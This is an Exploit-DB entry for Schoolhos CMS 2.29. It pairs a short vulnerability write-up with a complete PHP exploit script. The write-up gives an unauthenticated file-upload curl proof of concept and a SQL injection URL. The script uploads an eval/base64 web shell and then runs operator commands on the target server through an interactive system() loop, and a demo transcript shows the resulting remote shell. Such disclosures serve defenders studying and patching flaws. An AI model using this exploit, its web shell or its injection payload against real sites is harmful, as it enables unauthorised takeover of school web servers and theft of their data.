Schoolhos CMS 2.29 - Remote Code Execution / SQL Injection

2016-11-13T00:00:00
ID EDB-ID:40753
Type exploitdb
Reporter Exploit-DB
Modified 2016-11-13T00:00:00

Description

Schoolhos CMS 2.29 - Remote Code Execution / SQL Injection. Webapps exploit for PHP platform

                                        
                                            <?php
/*
Software : Schoolhos CMS 2.29
Home : http://www.schoolhos.com/
Author : Ahmed sultan (0x4148)
Email : 0x4148@gmail.com
Home : 0x4148.com

Intro
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.

Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws

I - Remote code execution
	File : process.php
	Line : 42
	elseif ($pilih=='guru' AND $untukdi=='upload'){
	$lokasi_file = $_FILES['fupload']['tmp_name'];
	$nama_file   = $_FILES['fupload']['name'];
		UploadMateri($nama_file);
	
	File : file_uplaod.php
	Line : 9
	function UploadMateri($fupload_name){
	  //direktori file dari halaman e-elarning
	  $vdir_upload = "../file/materi/";
	  $vfile_upload = $vdir_upload . $fupload_name;

	  move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload);
	}
	
	POC
	curl -i -s -k  -X 'POST' \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' \
    --data-binary $'-----------------------------26518470919255\x0d\x0aContent-Disposition: form-data; name=\"fupload\"; filename=\"0x4148.php\"\x0d\x0aContent-Type: application/x-httpd-php\x0d\x0a\x0d\x0a<?php die(\"0x4148 rule\"); ?>\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \
    'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'
	
	php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php

II - Unauthenticated sql injection

	File : elearningku/download.php
	Line 6
	$file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");
	$r=mysql_fetch_array($file);
	$filename=$r[file_materi];

	  header("Content-Type: octet/stream");
	  header("Pragma: private"); 
	  header("Expires: 0");
	  header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	  header("Cache-Control: private",false); 
	  header("Content-Type: $ctype");
	  header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
	  header("Content-Transfer-Encoding: binary");
	  header("Content-Length: ".filesize($dir.$filename));
	  readfile("$dir$filename");

	POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -
	DB version will be showed as filename

Script is really full of injection flaws , mentioning all of it is such waste of time

Full exploitation Demo
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/
[*] Schoolhos CMS 2.29 Remote command execution
[*] Author : Ahmed sultan (0x4148)
[*] Connect : 0x4148.com | 0x4148@gmail.com

 + Sending payload to http://192.168.0.50/lab/scho/versi_2.29/
 + Payload sent successfully

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir
 Volume in drive C is OS_Install
 Volume Serial Number is D60F-0795

 Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi

11/13/2016  02:03 AM    <DIR>          .
11/13/2016  02:03 AM    <DIR>          ..
11/13/2016  02:03 AM                47 0x4148.php
11/30/2011  06:56 PM             8,522 aku.php
11/29/2011  02:02 AM                74 Alar Reproduksi.rar
11/29/2011  02:03 AM                74 albert.rar
11/29/2011  08:25 PM            12,326 ari.png
11/29/2011  08:27 PM            12,318 ari.rar
11/29/2011  06:57 PM                74 cerita.rar
11/29/2011  08:24 PM                 0 contoh.txt
11/29/2011  02:05 AM                74 dos.rar
11/29/2011  02:01 AM                74 English1.rar
12/12/2011  11:13 AM               117 index.html
11/29/2011  02:10 AM                74 kekebalantubuh.rar
11/29/2011  02:11 AM                74 masa jenis.rar
11/29/2011  02:14 AM                74 office.rar
11/29/2011  02:06 AM                74 paragraf.rar
11/29/2011  02:04 AM                74 pemanasan.rar
11/29/2011  02:00 AM                74 polakalimat.rar
11/29/2011  02:15 AM                74 prepare.rar
11/29/2011  02:13 AM                74 proklamator.rar
11/29/2011  02:12 AM                74 sea games.rar
11/29/2011  02:05 AM                74 soekarno.rar
11/29/2011  02:09 AM                74 speaking.rar
11/29/2011  02:15 AM                74 ulangan INDO.rar
11/29/2011  02:11 AM                74 volume.rar
              24 File(s)         34,662 bytes
               2 Dir(s)  38,197,485,568 bytes free

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit

~0x4148fo#

*/
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";
echo "[*] Author : Ahmed sultan (0x4148)\n";
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>');
$x4148upload = curl_init(); 
curl_setopt($x4148upload, CURLOPT_URL, $target);
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");
curl_setopt($x4148upload, CURLOPT_POST, 1);
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($x4148upload);
curl_close($x4148upload);
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
if(!preg_match("#0x4148fo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "0x4148@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
echo explode(">>>>>",$outp)[1]."\n";
}
?>